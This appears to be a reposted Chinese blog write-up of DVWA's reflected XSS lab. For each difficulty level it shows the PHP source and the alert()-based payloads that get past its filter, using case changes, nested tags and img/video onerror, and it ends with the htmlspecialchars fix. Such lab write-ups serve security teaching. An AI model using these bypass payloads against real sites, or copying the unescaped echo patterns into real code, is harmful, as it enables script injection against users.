标签:XSS name 查看 xss Reflected DVWA payload alert Hello
难度1-Low
查看代码:
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Feedback for end user echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?>
没用进行任何过滤,直接将传入的name参数进行输出
payload:
<script>alert(/xss/)</script>
<img src=x one rror='alert(/xss/)'>
等都行
难度2-Medium
查看代码:
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
仅仅是对<script>进行匹配,可以通过大小写或者是双写绕过
payload:
<SCRIPT>alert(/xss/)</SCRIPT>
<s<script>cript>alert(/xss/)</script>
难度3-Hjgh
查看代码:
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
<script>标签已经不能使用了也不能使用javascript来执行了,但是可以利用其他标签或者其他标签的属性来绕过
payload:
<img src=x one rror='alert(/xss/)'>
<video src=x one rror='alert(/xss/)'>
Impossible
查看代码:
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token generateSessionToken(); ?>
增加了token并且还进行了Html实体转义尖括号已经无法发挥作用了。
标签:XSS,name,查看,xss,Reflected,DVWA,payload,alert,Hello 来源: https://www.cnblogs.com/1jzz/p/14339288.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。